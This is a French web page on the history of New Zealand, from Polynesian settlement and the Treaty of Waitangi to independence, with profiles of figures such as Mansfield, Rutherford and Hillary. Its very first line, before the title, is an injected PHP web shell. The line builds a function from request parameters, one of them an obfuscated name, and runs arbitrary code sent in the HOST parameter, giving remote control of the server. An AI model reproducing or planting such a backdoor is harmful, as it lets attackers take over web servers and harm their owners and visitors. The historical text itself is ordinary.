if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['68d707b43aa89fa1d7b9dbabe41dcb7a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Histoire du pays

Histoire du pays

HISTOIRE

Ce sont des Polynésiens (des îles de la Société, des îles Cook, de Polynésie orientale…) qui ont, les premiers, pris pied en Nouvelle-Zélande, entre le XIe et le XIVe siècle. Nomades, puis sédentaires, ils ont établi la culture maorie. Les tribus (iwi) étaient subdivisées en clans (hapu) et en parentèles (whanau). Clans et tribus s’affrontaient autour des ressources disponibles. Les Maoris étaient quelques dizaines de milliers sans doute dès le XVe siècle.

En 1642, le Hollandais Abel Tasman (1603-1659) explore les côtes ouest du pays (qu’il nomme Statenland). En 1769, le Britannique James Cook (1728-1779) établit un relevé de l’ensemble des côtes ; ses naturalistes croquent la faune et la flore. Dans les années qui suivent, de nombreux navires européens croisent dans les eaux néo-zélandaises. Les chasseurs de baleine et de phoque y mènent de fructueuses campagnes. Quelques relations de commerce sont établies avec les Maoris. Des Européens s’installent à demeure : forçats évadés d’Australie, marins déserteurs, missionnaires, aventuriers… Ce sont les premiers Pakeha ; ils seront environ 2 000 en 1830. Leur statut dans la société maorie est contrasté (esclave, conseiller…). Les armes à feu introduites dans quelques tribus provoquent des guerres intestines, dites Musket Wars. Elles cessent lorsque, tout le monde étant équipé d’escopettes, la dissuasion poudrière est en place.
La rivalité franco-anglaise dans la région pousse la couronne britannique à prendre formellement possession du pays. Le 6 février 1840, le Traité de Waitangi est signé, dans la Baie des îles, entre le capitaine William Hobson et les représentants des iwi. Auckland est choisie pour capitale de la nouvelle colonie (Wellington, fondée en 1839, la remplacera en 1865). La population européenne, d’origine essentiellement britannique, croît rapidement. Mais les empiètements des colons et une notion différente, mais péremptoire, de la propriété de part et d’autre vont être à l’origine d’affrontements avec les Maoris (1845-1872). L’autorité des chefs traditionnels se heurte à celle de l’administration coloniale. Les maladies, plus sans doute que les batailles, divisent par deux la population maorie (alors qu’en 1870, la population pakeha sera, elle, passée à 250 000 personnes).

En 1854, un premier Parlement de Nouvelle-Zélande est convoqué et la colonie y gagne une autonomie partielle. Le parti libéral au pouvoir mène alors de profondes réformes sociales : droit de vote des femmes (1893), loi Industrial Conciliation and Arbitration (1894), épargne retraite (1898)… Les Maoris sont associés à la vie politique. Comme en Argentine, les techniques modernes de réfrigération ouvrent de nouveaux horizons à la production de viande.

En 1907, la Nouvelle-Zélande devient un dominion indépendant. Après avoir secondé l’Angleterre pendant la Guerre des Boers, le dominion la soutient pendant la Première Guerre mondiale, puis pendant la Seconde. Entre temps, la Grande Dépression a mis le pays à mal ; la période voit la naissance de l’Etat providence et l’installation du protectionnisme économique.
En 1947, la Nouvelle-Zélande est entièrement indépendante. Les fifties sont une période de redémarrage de l’économie. Les sixties et les seventies transforment la société comme partout ailleurs. Pendant ce temps, les Maoris ont abandonné les campagnes pour s’installer en ville, dans un contexte à la fois d’acculturation et de revendication. Ce mouvement permet de poser la question de l’identité maorie à nouveaux frais. Pour faire le point sur les violations du traité de 1840, on installe un tribunal. Les éléments de la modernité maorie sont peu à peu réunis. Pendant les années 80, la structure socio-économique du pays connait un tournant libéral.

Personnalités

- Katherine Mansfield (1888-1923) passe pour une Virginia Woolf des antipodes, mais c’est être morte un an avant Franz Kafka de la même maladie que lui, la tuberculose, qui en fait vraiment une provinciale… On lui doit des récits et des poèmes au ton singulier, qui résistent au ressac des engouements.
- Colin Meads (né en 1936) est considéré comme le meilleur joueur de rugby néo-zélandais de tous les temps. Black de 1957 à 1971 (133 matchs), Pinetree est devenu une légende. Exceptionnellement dur au mal : en 1970, il termine une partie contre l’Afrique du Sud malgré la fracture d’un bras.
- Ernest Rutherford (1871-1937) a découvert les particules alpha, les particules bêta, le noyau atomique. Il s’est vu décerner le prix Nobel de chimie en 1908 pour avoir montré que la radioactivité s’accompagne de la désintégration des éléments chimiques. Il est l’un des pères de la physique nucléaire.
- Edmund Percival Hillary (1919-2008) fut le premier, avec le Sherpa Tensing Norgay, à atteindre le sommet de l’Everest (29 mai 1953). Il a également atteint le Pôle Sud, le 4 janvier 1958. Chevalier de l’ordre de la Jarretière, c’est pourtant de son engagement prolongé et discret en faveur des Sherpas dont il était le plus fier.
- Kiri Te Kanawa (née en 1944), soprano d’origine maorie, commence par chanter dans les bars, puis l’air de Tosca lui permet de partir étudier à Londres et, en 1971, elle fait ses débuts à Covent Garden, dans Les Noces de Figaro de Mozart. On sait la suite (Richard Strauss, en particulier, avec qui elle se sent des affinités…).
- Peter Jackson (né en 1961) a, c’est entendu, réalisé Le Seigneur des anneaux d’après Tolkien, mais il est aussi l’auteur de films beaucoup moins filandreux comme Bad Taste, Braindead, Heavenly Creatures ou Forgotten Silver. Maintenant, il parait qu’il s’attaque à Tintin, alors là…